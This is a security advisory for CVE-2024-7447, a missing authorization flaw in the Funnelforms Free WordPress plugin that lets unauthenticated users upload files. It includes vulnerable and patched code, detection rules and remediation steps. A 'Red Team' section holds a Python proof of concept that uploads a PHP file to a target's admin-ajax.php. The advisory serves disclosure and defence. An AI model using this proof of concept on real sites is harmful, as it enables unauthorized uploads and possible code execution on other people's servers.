CVE-2024-7447

Executive Summary

CVE-2024-7447 is a Missing Authorization vulnerability in the Funnelforms Free WordPress plugin (versions up to and including 3.7.3.2). The flaw resides in the fnsf_af2_handel_file_upload function, which lacks a capability check, allowing unauthenticated attackers to upload arbitrary media files to the WordPress site. This can lead to unauthorized file storage, potential resource abuse, and in some scenarios, serve as a vector for further attacks (e.g., storing malicious scripts or phishing content). The vulnerability is classified as WordPress ecosystem issue and does not involve Apache or Nginx directly.

CVSS Breakdown & Threat Level

• CVSS Score: 5.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the direct impact is limited to unauthorized file uploads, the potential for abuse (e.g., hosting malicious content, filling disk space) elevates the risk.

Deep Dive & Mechanics

The vulnerability exists in the Funnelforms Free plugin's AJAX handler fnsf_af2_handel_file_upload. This function is intended to handle file uploads from the frontend form builder. However, it fails to verify that the user has the necessary capabilities (e.g., upload_files or edit_posts) before processing the upload. As a result, any unauthenticated visitor can send a crafted request to the WordPress AJAX endpoint and upload arbitrary files (images, PDFs, scripts) to the WordPress media library.

The upload process typically involves:

1. The plugin registers an AJAX action for both authenticated and unauthenticated users.
2. The fnsf_af2_handel_file_upload function processes the $_FILES array.
3. It moves the uploaded file to the WordPress uploads directory and inserts an attachment post.
4. No current_user_can() check is performed, allowing unauthenticated access.

Vulnerable vs. Patched Code

Vulnerable Code (simplified):

add_action('wp_ajax_fnsf_af2_handel_file_upload', 'fnsf_af2_handel_file_upload');
add_action('wp_ajax_nopriv_fnsf_af2_handel_file_upload', 'fnsf_af2_handel_file_upload');

function fnsf_af2_handel_file_upload() {
    // No capability check
    $file = $_FILES['file'];
    // Process upload...
    wp_handle_upload($file, array('test_form' => false));
    // Insert attachment...
}

Patched Code (expected):

add_action('wp_ajax_fnsf_af2_handel_file_upload', 'fnsf_af2_handel_file_upload');
// Remove the nopriv hook to restrict to authenticated users
// add_action('wp_ajax_nopriv_fnsf_af2_handel_file_upload', 'fnsf_af2_handel_file_upload');

function fnsf_af2_handel_file_upload() {
    // Add capability check
    if (!current_user_can('upload_files')) {
        wp_die('Unauthorized', 401);
    }
    // Process upload...
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target WordPress site with Funnelforms Free <= 3.7.3.2 installed and active.
• No authentication required.

Exploitation Steps:

1. Identify the AJAX endpoint: /wp-admin/admin-ajax.php
2. Craft a multipart POST request with the action parameter and a file.

Proof-of-Concept (Python):

import requests

target_url = "http://target.com/wp-admin/admin-ajax.php"
payload = {
    "action": "fnsf_af2_handel_file_upload"
}
files = {
    "file": ("evil.php", "<?php echo 'pwned'; ?>", "application/x-php")
}

response = requests.post(target_url, data=payload, files=files)
print(response.text)

Expected Result: The file is uploaded to the WordPress media library. The response may contain the attachment ID or URL.

Blue Team

Detection Steps:

1. Monitor for unusual AJAX requests to admin-ajax.php with action=fnsf_af2_handel_file_upload from unauthenticated sources.
2. Review media library for unexpected files uploaded by unknown users.
3. Check web server logs for POST requests to /wp-admin/admin-ajax.php with large payloads.

Hunting Query (Splunk):

index=web sourcetype=access_combined
| search uri="/wp-admin/admin-ajax.php" form_data.action="fnsf_af2_handel_file_upload"
| stats count by src_ip, user_agent, status

Indicators of Compromise (IOCs)

• File: Unexpected files in /wp-content/uploads/ directory with suspicious names or extensions (e.g., .php, .phtml, .shtml).
• Log Entry: POST request to /wp-admin/admin-ajax.php with action=fnsf_af2_handel_file_upload and no authentication cookie.
• Network: Outbound connections from the server to unknown IPs if uploaded files are used for C2.
• Database: New attachment posts in wp_posts with post_type='attachment' and post_author=0 (unauthenticated).

Detection Engineering

YARA Rule

rule CVE_2024_7447_Funnelforms_Upload {
    meta:
        description = "Detects exploitation attempts of CVE-2024-7447 via file upload"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-7447"
    strings:
        $ajax_action = "fnsf_af2_handel_file_upload"
        $wp_handle = "wp_handle_upload"
        $nopriv = "wp_ajax_nopriv"
    condition:
        $ajax_action and $wp_handle and $nopriv
}

Sigma Rule

title: CVE-2024-7447 Funnelforms Unauthenticated File Upload
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects unauthenticated file upload attempts via Funnelforms Free plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=fnsf_af2_handel_file_upload'
    condition: selection
falsepositives:
    - Legitimate form submissions if the plugin is used correctly (but should require auth)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2024-7447 Funnelforms Unauthenticated File Upload Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=fnsf_af2_handel_file_upload"; http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Remove any unauthorized files from the media library.
3. Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php with action=fnsf_af2_handel_file_upload from unauthenticated users.

Long-term Fix:

• Apply the vendor patch when available (expected to add capability checks and remove the nopriv AJAX hook).
• Alternatively, manually patch the plugin by editing the file (e.g., funnelforms-free/includes/class-ajax.php) to add current_user_can('upload_files') check.

Workaround:

• Use a security plugin (e.g., Wordfence) to block unauthenticated AJAX actions.
• Restrict file uploads to authenticated users via .htaccess or server-level rules.

Valters IT